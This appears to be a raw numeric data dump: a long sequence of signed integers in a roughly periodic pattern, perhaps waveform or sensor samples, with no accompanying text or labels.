+59 +8 +-37 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-80 +-50 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +8 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-42 +-76 +-46 +8 +51 +89 +59 +8 +-37 +-76 +-42 +8 +51 +89 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-37 +-76 +-46 +8 +51 +89 +59 +8 +-42 +-76 +-46 +8 +51 +89 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-37 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-37 +-76 +-46 +4 +51 +89 +59 +8 +-37 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-37 +-84 +-118 +-80 +-20 +29 +72 +106 +68 +12 +-37 +-84 +-118 +-76 +-20 +29 +76 +110 +72 +17 +-33 +-80 +-114 +-71 +-16 +38 +80 +110 +76 +21 +-33 +-80 +-114 +-71 +-16 +38 +80 +110 +76 +21 +-33 +-76 +-109 +-67 +-12 +38 +80 +114 +80 +25 +-25 +-63 +-33 +17 +63 +97 +68 +17 +-33 +-67 +-37 +12 +59 +93 +63 +12 +-33 +-71 +-37 +8 +55 +93 +63 +12 +-37 +-71 +-42 +8 +55 +89 +59 +8 +-37 +-76 +-42 +8 +51 +89 +59 +8 +-37 +-76 +-46 +8 +51 +89 +59 +8 +-42 +-76 +-42 +8 +51 +89 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-42 +-76 +-46 +8 +51 +89 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-37 +-76 +-46 +8 +51 +89 +59 +8 +-37 +-76 +-46 +4 +55 +89 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-37 +-76 +-46 +4 +51 +89 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-37 +-76 +-46 +4 +51 +84 +59 +8 +-37 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-37 +-76 +-42 +8 +51 +89 +59 +8 +-37 +-71 +-42 +8 +55 +89 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +8 +51 +89 +59 +8 +-37 +-76 +-42 +4 +51 +84 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-37 +-76 +-46 +4 +51 +89 +59 +8 +-37 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-37 +-76 +-46 +4 +51 +89 +59 +8 +-46 +-92 +-122 +-84 +-25 +25 +72 +101 +68 +12 +-37 +-84 +-114 +-76 +-16 +34 +76 +110 +76 +21 +-33 +-80 +-109 +-71 +-16 +38 +80 +114 +76 +21 +-33 +-76 +-109 +-71 +-12 +38 +80 +114 +80 +25 +-29 +-76 +-109 +-67 +-12 +42 +84 +118 +84 +34 +-16 +-59 +-29 +21 +68 +97 +68 +17 +-33 +-67 +-37 +12 +59 +93 +63 +12 +-33 +-71 +-42 +8 +55 +93 +63 +12 +-33 +-76 +-42 +8 +55 +89 +59 +8 +-37 +-76 +-42 +8 +55 +89 +63 +12 +-37 +-76 +-42 +8 +55 +89 +59 +12 +-37 +-84 +-118 +-76 +-20 +29 +72 +106 +68 +12 +-37 +-84 +-118 +-76 +-20 +34 +76 +110 +76 +17 +-33 +-80 +-114 +-71 +-16 +38 +80 +110 +76 +21 +-33 +-80 +-109 +-71 +-16 +38 +80 +114 +76 +21 +-29 +-76 +-109 +-67 +-12 +38 +80 +114 +76 +25 +-25 +-63 +-33 +17 +63 +97 +68 +17 +-33 +-67 +-37 +12 +59 +93 +68 +17 +-33 +-71 +-37 +12 +59 +93 +63 +12 +-33 +-71 +-42 +8 +55 +93 +59 +8 +-37 +-76 +-46 +8 +51 +89 +59 +8 +-37 +-76 +-42 +8 +55 +89 +59 +8 +-37 +-76 +-42 +8 +55 +89 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +8 +51 +89 +59 +8 +-42 +-76 +-46 +8 +51 +89 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-42 +-76 +-46 +4 +55 +89 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-37 +-76 +-46 +4 +51 +89 +59 +8 +-37 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-37 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-37 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-37 +-76 +-46 +4 +51 +84 +59 +8 +-37 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +8 +51 +89 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-42 +8 +51 +89 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-42 +-76 +-46 +8 +51 +89 +59 +8 +-37 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-37 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-37 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-37 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-42 +-76 +-42 +8 +51 +89 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +8 +51 +89 +59 +8 +-42 +-76 +-46 +8 +51 +89 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +55 +89 +59 +8 +-37 +-76 +-46 +4 +51 +89 +59 +8 +-37 +-76 +-46 +4 +51 +89 +59 +8 +-37 +-76 +-46 +4 +51 +89 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-37 +-76 +-46 +8 +51 +89 +59 +12 +-37 +-76 +-46 +4 +51 +84 +59 +8 +-37 +-76 +-46 +8 +51 +89 +59 +8 +-37 +-76 +-46 +8 +51 +89 +59 +8 +-37 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-37 +-76 +-46 +8 +51 +84 +59 +8 +-37 +-76 +-42 +8 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-80 +-50 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +114 +76 +12 +-42 +-88 +-122 +-84 +-25 +25 +68 +101 +68 +8 +-42 +-88 +-118 +-80 +-25 +29 +72 +106 +72 +17 +-37 +-84 +-114 +-76 +-20 +34 +76 +106 +76 +17 +-33 +-80 +-114 +-71 +-16 +34 +80 +110 +76 +21 +-33 +-76 +-109 +-67 +-8 +42 +84 +59 +12 +-33 +-67 +-37 +17 +63 +101 +72 +21 +-25 +-63 +-33 +17 +63 +101 +72 +21 +-29 +-67 +-33 +17 +63 +97 +68 +17 +-33 +-71 +-42 +8 +55 +93 +63 +12 +-37 +-71 +-42 +8 +55 +93 +63 +12 +-37 +-76 +-42 +8 +55 +93 +118 +80 +17 +-37 +-84 +-118 +-80 +-25 +25 +72 +101 +68 +12 +-42 +-84 +-118 +-80 +-20 +29 +76 +106 +72 +17 +-33 +-80 +-114 +-76 +-16 +34 +76 +110 +76 +17 +-33 +-80 +-114 +-71 +-16 +34 +80 +114 +76 +21 +-29 +-76 +-109 +-71 +-12 +38 +84 +114 +80 +21 +-29 +-76 +-109 +-71 +-12 +38 +84 +114 +80 +25 +-29 +-76 +-105 +-67 +-12 +42 +84 +114 +80 +25 +-25 +-71 +-105 +-67 +-12 +38 +80 +114 +76 +21 +-29 +-76 +-109 +-67 +-12 +42 +84 +114 +80 +25 +-29 +-76 +-109 +-67 +-12 +42 +84 +59 +12 +-33 +-67 +-33 +17 +63 +101 +72 +21 +-25 +-63 +-33 +17 +63 +101 +72 +21 +-29 +-67 +-37 +12 +59 +97 +68 +17 +-33 +-71 +-42 +12 +59 +93 +63 +12 +-33 +-71 +-42 +8 +55 +93 +63 +12 +-33 +-71 +-42 +8 +55 +93 +63 +8 +-42 +-88 +-122 +-80 +-25 +29 +72 +106 +72 +17 +-37 +-80 +-114 +-76 +-16 +34 +80 +110 +76 +21 +-33 +-76 +-109 +-67 +-12 +38 +80 +114 +76 +21 +-33 +-76 +-109 +-67 +-12 +38 +80 +114 +80 +25 +-29 +-76 +-109 +-67 +-12 +42 +84 +118 +84 +29 +-16 +-59 +-29 +21 +68 +101 +68 +17 +-29 +-67 +-37 +12 +59 +93 +68 +12 +-33 +-71 +-42 +8 +55 +93 +63 +12 +-37 +-71 +-42 +8 +55 +89 +59 +8 +-37 +-76 +-46 +8 +51 +89 +59 +8 +-37 +-76 +-42 +4 +51 +89 +59 +8 +-37 +-84 +-118 +-80 +-20 +29 +72 +101 +68 +12 +-37 +-84 +-118 +-76 +-16 +34 +76 +110 +76 +21 +-33 +-80 +-114 +-71 +-16 +38 +80 +114 +76 +21 +-33 +-76 +-109 +-71 +-12 +38 +80 +114 +76 +21 +-29 +-76 +-109 +-67 +-12 +38 +80 +114 +76 +25 +-29 +-71 +-105 +-67 +-12 +38 +80 +114 +80 +25 +-29 +-76 +-109 +-67 +-12 +42 +84 +118 +80 +25 +-29 +-71 +-105 +-67 +-12 +42 +84 +118 +80 +25 +-29 +-76 +-109 +-67 +-12 +42 +84 +114 +80 +25 +-29 +-71 +-105 +-67 +-12 +42 +84 +114 +80 +25 +-20 +-59 +-29 +21 +63 +101 +68 +17 +-29 +-67 +-37 +12 +59 +93 +68 +17 +-33 +-71 +-37 +8 +59 +93 +63 +12 +-37 +-71 +-42 +8 +55 +89 +59 +8 +-37 +-76 +-46 +4 +51 +89 +59 +8 +-37 +-76 +-42 +8 +51 +89 +59 +8 +-42 +-76 +-42 +8 +51 +89 +114 +76 +17 +-37 +-84 +-118 +-84 +-25 +25 +72 +101 +68 +12 +-42 +-84 +-118 +-80 +-20 +29 +76 +106 +76 +17 +-37 +-84 +-114 +-76 +-16 +34 +76 +110 +76 +17 +-33 +-80 +-109 +-71 +-16 +38 +80 +114 +76 +21 +-33 +-76 +-109 +-67 +-8 +42 +84 +59 +12 +-33 +-67 +-37 +17 +63 +101 +72 +21 +-25 +-63 +-33 +17 +63 +101 +68 +21 +-29 +-67 +-33 +17 +59 +97 +68 +17 +-33 +-71 +-42 +8 +55 +93 +63 +12 +-37 +-71 +-42 +8 +55 +93 +63 +12 +-37 +-76 +-42 +8 +55 +93 +63 +12 +-37 +-76 +-46 +8 +51 +89 +59 +8 +-37 +-76 +-46 +8 +51 +89 +59 +8 +-37 +-76 +-46 +8 +51 +89 +59 +8 +-37 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-37 +-76 +-46 +4 +51 +89 +59 +8 +-46 +-92 +-122 +-84 +-25 +25 +72 +101 +68 +12 +-37 +-84 +-118 +-76 +-16 +34 +76 +110 +76 +21 +-33 +-80 +-109 +-71 +-16 +38 +80 +110 +76 +21 +-33 +-80 +-109 +-71 +-16 +38 +80 +114 +80 +25 +-29 +-76 +-109 +-67 +-12 +38 +84 +114 +80 +25 +-29 +-76 +-109 +-67 +-12 +38 +84 +114 +80 +25 +-29 +-71 +-105 +-67 +-12 +42 +84 +118 +80 +25 +-29 +-76 +-105 +-67 +-12 +42 +84 +118 +80 +25 +-29 +-76 +-109 +-67 +-12 +38 +84 +114 +80 +25 +-29 +-71 +-105 +-67 +-12 +42 +84 +118 +84 +34 +-16 +-59 +-29 +21 +68 +101 +72 +21 +-29 +-67 +-37 +12 +59 +93 +68 +17 +-33 +-71 +-42 +8 +55 +93 +63 +12 +-33 +-71 +-42 +8 +55 +89 +59 +8 +-37 +-76 +-46 +4 +51 +89 +59 +8 +-37 +-76 +-42 +8 +51 +89 +59 +8 +-37 +-76 +-42 +8 +51 +89 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-37 +-76 +-42 +8 +51 +89 +59 +8 +-37 +-76 +-42 +8 +51 +89 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-37 +-76 +-42 +8 +51 +89 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +8 +51 +89 +59 +8 +-37 +-76 +-46 +8 +51 +89 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-80 +-46 +4 +51 +89 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-37 +-76 +-46 +4 +51 +89 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-37 +-76 +-46 +4 +51 +89 +59 +8 +-46 +-88 +-122 +-84 +-25 +29 +72 +101 +72 +12 +-37 +-84 +-118 +-76 +-16 +34 +76 +110 +76 +21 +-33 +-80 +-109 +-71 +-16 +38 +80 +110 +76 +21 +-33 +-76 +-109 +-71 +-16 +38 +80 +114 +76 +21 +-29 +-76 +-109 +-67 +-12 +38 +84 +114 +84 +29 +-20 +-59 +-29 +21 +63 +101 +72 +21 +-29 +-67 +-37 +12 +59 +93 +68 +17 +-33 +-71 +-42 +8 +55 +93 +63 +12 +-33 +-71 +-42 +8 +55 +89 +59 +8 +-37 +-76 +-42 +8 +55 +89 +59 +8 +-37 +-76 +-42 +8 +55 +89 +59 +12 +-37 +-76 +-42 +8 +55 +89 +59 +8 +-37 +-76 +-42 +8 +51 +89 +59 +8 +-37 +-76 +-42 +8 +55 +89 +59 +8 +-37 +-76 +-42 +8 +55 +89 +59 +8 +-37 +-76 +-42 +8 +55 +89 +59 +12 +-37 +-76 +-42 +8 +55 +93 +63 +12 +-37 +-71 +-42 +12 +59 +93 +63 +12 +-33 +-71 +-37 +12 +59 +93 +68 +17 +-33 +-67 +-33 +17 +63 +97 +68 +21 +-29 +-67 +-33 +17 +68 +101 +72 +21 +-29 +-67 +-33 +17 +59 +97 +68 +12 +-33 +-71 +-42 +8 +51 +89 +59 +8 +-42 +-80 +-50 +0 +46 +84 +110 +72 +12 +-46 +-92 +-126 +-88 +-33 +17 +59 +93 +59 +0 +-50 +-97 +-126 +-88 +-33 +21 +63 +97 +63 +8 +-46 +-88 +-122 +-84 +-25 +25 +68 +101 +68 +12 +-42 +-84 +-118 +-80 +-20 +29 +76 +106 +72 +17 +-37 +-80 +-114 +-76 +-16 +34 +80 +110 +76 +17 +-33 +-80 +-114 +-76 +-16 +34 +76 +110 +76 +21 +-33 +-76 +-109 +-71 +-16 +38 +80 +110 +76 +21 +-29 +-76 +-109 +-71 +-12 +38 +80 +110 +76 +21 +-33 +-76 +-109 +-71 +-12 +38 +80 +114 +80 +21 +-29 +-76 +-109 +-67 +-12 +42 +84 +59 +12 +-33 +-67 +-33 +17 +63 +101 +72 +21 +-25 +-63 +-33 +17 +63 +101 +72 +21 +-29 +-67 +-33 +12 +63 +97 +68 +17 +-33 +-71 +-37 +12 +55 +93 +63 +12 +-33 +-71 +-42 +8 +55 +93 +63 +12 +-37 +-76 +-42 +8 +55 +93 +63 +12 +-37 +-76 +-42 +8 +51 +89 +59 +8 +-37 +-76 +-46 +8 +51 +89 +59 +12 +-37 +-76 +-42 +8 +51 +89 +59 +12 +-37 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-37 +-76 +-42 +8 +51 +89 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-37 +-76 +-46 +8 +51 +89 +59 +8 +-42 +-76 +-42 +8 +51 +89 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +8 +51 +89 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-37 +-76 +-46 +4 +51 +89 +59 +8 +-42 +-76 +-46 +8 +55 +89 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-37 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-37 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-80 +-46 +4 +51 +89 +59 +8 +-37 +-76 +-42 +8 +51 +89 +59 +8 +-37 +-76 +-42 +4 +51 +84 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-42 +-76 +-46 +8 +51 +89 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-37 +-76 +-46 +8 +51 +89 +59 +8 +-37 +-76 +-46 +8 +55 +89 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-42 +-80 +-46 +4 +51 +84 +55 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-37 +-76 +-46 +4 +51 +89 +59 +8 +-37 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-37 +-76 +-46 +4 +51 +84 +59 +8 +-37 +-76 +-42 +8 +51 +84 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +8 +51 +89 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-37 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +8 +51 +89 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-37 +-76 +-46 +8 +51 +89 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-37 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-80 +-46 +4 +51 +89 +59 +8 +-37 +-76 +-46 +4 +51 +84 +59 +8 +-37 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-37 +-76 +-46 +4 +51 +89 +59 +8 +-37 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-42 +4 +51 +89 +114 +76 +17 +-42 +-88 +-122 +-84 +-25 +25 +68 +101 +68 +12 +-42 +-88 +-118 +-80 +-25 +29 +72 +106 +72 +17 +-37 +-84 +-114 +-76 +-20 +34 +76 +110 +76 +17 +-33 +-80 +-109 +-71 +-12 +38 +80 +114 +76 +21 +-33 +-76 +-105 +-67 +-8 +46 +84 +59 +12 +-33 +-67 +-37 +17 +63 +101 +72 +21 +-25 +-63 +-33 +17 +63 +101 +72 +21 +-29 +-67 +-33 +17 +63 +97 +68 +17 +-33 +-71 +-42 +8 +55 +93 +63 +12 +-33 +-71 +-42 +8 +55 +93 +63 +12 +-37 +-76 +-42 +8 +55 +93 +59 +8 +-37 +-76 +-46 +8 +51 +89 +59 +8 +-37 +-76 +-46 +8 +51 +89 +59 +8 +-37 +-76 +-46 +8 +51 +89 +59 +8 +-37 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-37 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-37 +-76 +-46 +4 +51 +84 +59 +8 +-37 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-37 +-76 +-46 +4 +51 +89 +59 +8 +-37 +-76 +-42 +8 +51 +89 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-37 +-76 +-46 +4 +51 +89 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-42 +8 +51 +89 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-37 +-76 +-46 +8 +51 +89 +59 +8 +-37 +-76 +-46 +4 +51 +89 +63 +12 +-37 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-37 +-76 +-46 +8 +51 +89 +59 +8 +-37 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-37 +-84 +-118 +-80 +-20 +29 +72 +101 +68 +12 +-37 +-84 +-118 +-76 +-20 +34 +76 +110 +72 +17 +-33 +-80 +-114 +-76 +-16 +38 +80 +110 +76 +21 +-33 +-76 +-109 +-71 +-12 +38 +80 +114 +76 +21 +-29 +-76 +-109 +-67 +-12 +38 +80 +114 +80 +25 +-25 +-63 +-33 +17 +63 +97 +68 +17 +-29 +-67 +-37 +12 +59 +93 +68 +17 +-33 +-71 +-37 +8 +59 +93 +63 +12 +-33 +-71 +-42 +8 +55 +93 +59 +12 +-37 +-76 +-42 +8 +51 +89 +59 +8 +-37 +-76 +-42 +8 +55 +89 +59 +8 +-37 +-76 +-42 +8 +51 +89 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +8 +51 +89 +59 +8 +-42 +-76 +-46 +8 +51 +89 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-37 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-80 +-46 +4 +51 +84 +55 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-37 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-37 +-76 +-42 +8 +55 +89 +63 +12 +-37 +-71 +-42 +8 +59 +93 +63 +12 +-33 +-67 +-37 +12 +59 +97 +68 +17 +-29 +-67 +-33 +17 +63 +101 +72 +21 +-29 +-67 +-33 +12 +59 +93 +68 +12 +-33 +-76 +-42 +8 +51 +89 +59 +8 +-42 +-80 +-50 +0 +46 +84 +55 +4 +-46 +-84 +-50 +0 +46 +80 +55 +4 +-46 +-84 +-50 +0 +46 +80 +55 +4 +-46 +-84 +-50 +0 +46 +80 +55 +4 +-46 +-80 +-50 +0 +46 +84 +55 +4 +-42 +-80 +-50 +0 +51 +84 +55 +4 +-42 +-80 +-50 +0 +46 +84 +55 +4 +-42 +-80 +-50 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-46 +-92 +-122 +-84 +-25 +25 +68 +101 +68 +12 +-37 +-84 +-118 +-76 +-20 +34 +76 +110 +76 +17 +-33 +-80 +-114 +-71 +-16 +38 +80 +110 +76 +21 +-33 +-76 +-109 +-71 +-12 +38 +80 +114 +80 +25 +-29 +-71 +-109 +-67 +-12 +42 +84 +118 +84 +34 +-16 +-59 +-29 +21 +68 +101 +72 +21 +-29 +-67 +-37 +12 +59 +97 +68 +17 +-33 +-71 +-37 +12 +55 +93 +63 +12 +-33 +-71 +-42 +8 +55 +93 +59 +12 +-37 +-76 +-42 +8 +55 +89 +59 +12 +-37 +-76 +-42 +8 +55 +89 +59 +12 +-37 +-76 +-42 +8 +51 +89 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +12 +-37 +-71 +-42 +8 +59 +93 +68 +17 +-29 +-67 +-33 +17 +59 +97 +68 +12 +-33 +-76 +-42 +8 +51 +89 +59 +8 +-42 +-76 +-46 +4 +51 +84 +55 +4 +-42 +-80 +-46 +4 +51 +84 +55 +4 +-46 +-84 +-50 +0 +46 +84 +55 +4 +-46 +-80 +-50 +0 +46 +84 +55 +4 +-42 +-80 +-50 +4 +51 +84 +55 +4 +-42 +-80 +-50 +0 +46 +84 +55 +4 +-42 +-80 +-50 +4 +51 +84 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-80 +-46 +4 +51 